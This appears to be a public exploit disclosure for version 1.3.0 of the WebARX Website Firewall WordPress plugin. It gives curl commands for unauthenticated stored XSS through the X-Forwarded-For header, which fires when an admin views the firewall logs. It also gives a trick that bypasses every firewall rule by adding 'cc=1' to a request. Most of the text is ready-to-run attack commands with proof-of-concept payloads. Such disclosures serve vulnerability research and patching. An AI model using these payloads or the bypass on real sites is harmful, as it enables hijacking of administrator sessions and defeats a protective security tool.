# Exploit Title: WordPress WebARX Website Firewall - Stored XSS and firewall bypass. # Type: WordPress Plugin # Date: 2018-09-27 # Exploit Author: ed0x21son # Vendor Homepage: https://www.webarxsecurity.com # Software Link: http://update.webarxsecurity.com/wp-update-server/?action=download&slug=webarx # Version: 1.3.0 # Category: WebApps, WordPress # Tested on: WordPress 4.9.8 [Vulnerabilities] #1: Unauthenticated stored XSS: curl -I -H 'X-Forwarded-For: <script>alert("U-H4V3-B33N-PWN3D")</script>' 'http://localhost/?xss=<script>alert(/pwn3d/)</script>' Go to Wordpress dashboard and view WebARX logs: pwnd! #2: Firewall bypass: U can bypass all firewall security and rules if u add "cc=1" to the Post or Get payload. Blocked by firewall: curl 'http://localhost/?xss=<script>alert(/pwn3d/)</script>' Not blocked by firewall: curl 'http://localhost/?xss=<script>alert(/pwn3d/)</script>&cc=1' --ed0x21son